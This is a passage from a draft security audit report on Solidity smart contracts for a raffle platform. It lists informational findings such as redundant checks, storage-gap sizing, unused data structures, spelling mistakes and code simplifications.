Description: Even though `totalParticipants` is available, these pass `participants.length`.

Recommendation: Use `totalParticipants` instead.

3.5.11 Remove unnecessary check for less than zero value of `uint256` type

Severity: Informational

Context: Raffle.sol#L123

Description: If the type of parameter is `uint256` there is no need to check for <= as the value can't be less than 0.

Recommendation: It's sufficient to check ==, e.g.:

```
if (_winnerNumber == 0) revert Errors.WrongInitializationParams("Raffle: Invalid `winnerNumber` parameter.");
```

DRAFT

3.5.12 Follow best practices for `__gap` in upgradeable contracts

Severity: Informational

Context: VaultDepositRouter.sol#L276

Description: Storage gaps is a pattern used in upgradeable contracts that allows to freely add new storage variables without compromising the storage compatibility with existing deployments. This pattern was first introduced by Openzeppelin and is widely used in their contracts.

The convention is that the size of the `__gap` array and the current storage slots of the contract add up to 50 storage slots. Currently, `VaultDepositRouter` storage occupies two slots with:

```
IVaultFactory public factory;
mapping(address => mapping(DataTypes.TokenType => DataTypes.TokenInventory[])) private vaultBalances;
```

This makes the total reserved storage slots equal to 51.

Recommendation: To follow the convention a change is to be made in `VaultDepositRouter`:

```
- uint256[49] private __gap;
+ uint256[48] private __gap;
```

3.5.13 `Assetvault.onERC721Received` could use modifier

Severity: Informational

Context: AssetVault.sol#L226-L230

Description: `AssetVault.onERC721Received` duplicates code withdraw disable check inside the function.

Recommendation: Use `onlyWithdrawDisabled` modifier instead.

3.5.14 `oldshare` cached value could be reused

Severity: Informational

Context: Raffle.sol#L367-L370

Description: `oldShare` could be used instead of `shares[_beneficiary]`.

Recommendation: Reuse the `oldShare` cached value.

3.5.15 Missing docblock info for `createYoloRaffle`

Severity: Informational

Context: FairHub.sol#L500

Description: The `Fairhub.createYoloRaffle` references `IFairHub-createYoloRaffle` documentation that does not exist.

Recommendation: Update `IFairhub` to include YoloRaffle documentation.

3.5.16 Permission comments should be updated to reflect accessmanager

Severity: Informational

Context: IFairHub.sol#L221

Description: In several places, the `IFairHub` comments reference `only callable by the owner`. This is no longer true with the implementation of the `AccessManager`.

Recommendation: Update to reflect the permission structure enabled by `AccessManager`.

DRAFT

3.5.17 Spelling mistakes

Severity: Informational

Context: DApiManager.sol#L108, DApiManager.sol#L86, FairHubStorage.sol#L19, Raffle.sol#L882

Description: Several spelling mistakes are present. There does not appear to be any current issues but they could cause confusion in the future:

- Raffle.sol `_recievers` → `_receivers`.
- `vaultFactoryAdress` → `vaultFactoryAddress`.
- `_tokenAddres` → `_tokenAddres`.
- `_dappiAddress` → `_dApiAddress`.

3.5.18 Storage variables should be internal

Severity: Informational

Context: FairHubStorage.sol#L19-L23

Description: These all have public getters, so could create confusion with these variables.

Recommendation: The storage could be internal to avoid confusion with the public interface.

3.5.19 Assetvault `amount` calculation reduntant

Severity: Informational

Context: AssetVault.sol#L143-L151

Description: Unnecessary `if` statement:

```
uint256 amount;
if (
    _tokenAddress == address(0)
) {
    amount = currentBalance * _percentages[i] / 100;
}
else {
    amount = currentBalance * _percentages[i] / 100;
}
```

DRAFT

Recommendation: Can be simplified to

```
uint256 amount = currentBalance * _percentages[i] / 100;
```

3.5.20 Overly complex and inefficient code

Severity: Informational

Context: AssetVault.sol#L158-L190

Description: This section of code can be improved:

```
// Check if the amounts match.
uint256 remnant;
if (
    _tokenAddress == address(0)
) {
    if (
        address(this).balance > totalAmount
    ) {
        remnant = address(this).balance - totalAmount;
    }
}
else {
    if (
        token.balanceOf(
            address(this)
        ) > totalAmount
    ) {
        remnant = token.balanceOf(
            address(this)
        ) - totalAmount;
    }
}

// Add the remnant to the last amount.
if (
    remnant > 0
) {
    // NOTE: We are expecting minimum amounts to be left due to floating point inaccuracies.
    // As we will stop the possibility for further withdrawals after this operation.
    // All should be taken out at once.
    amounts[_percentages.length - 1] += remnant;
    totalAmount += remnant;
}
```

Recommendation: It can retain the same functionality and be simplified to:

```
// Check if the amounts match.
if (
    currentBalance > totalAmount
) {
    uint256 remnant = currentBalance - totalAmount;
    amounts[_percentages.length - 1] += remnant;
    totalAmount += remnant;
}
```

3.5.21 Unneeded named returns

Severity: Informational

Context: AssetVault.sol#L125-L126

Description: As the end of this function uses `return (amounts, totalAmount);`, the declare return variables are never used.

Recommendation: Remove the declarations in the return statement and use the internally defined variables.

DRAFT

3.5.22 `tokenId` is shadowing an inherited function

Severity: Informational

Context: AssetVault.sol#L281-L293

Description: The local `tokenId` here is shadowing the `OwnableNFT.tokenId` function.

Recommendation: The local variable should be prefixed with `_`.

3.5.23 Unneeded error for callback in AirnodeLogic

Severity: Informational

Context: AirnodeLogic.sol#L219-L221

Description: Based on the `addNewEndpoint` logic, I don't believe this condition is possible. `functionSelector` is the key for `callbackToIndex` and pushed into `endpointIds`. There does not appear to be any other way to update endpoints, so looking up the index in `callbackToIndex` with `_selector` should always retrieve the `DataTypes.Endpoint.functionSelector` that equals `_selector`.

Recommendation: Remove unneeded check and error.

3.5.24 `vaultBalances` data structure unused and likely to cause confusion for engineers

Severity: Informational

Context: VaultDepositRouter.sol#L37-L39

Description: The `vaultBalances` data structure is marked `private` and only ever written to by the `VaultDepositRouter`. It is never read from or used for any sort of validation.

Recommendation: It and all the places it is written to could be removed from the contract to simplify it.

DRAFT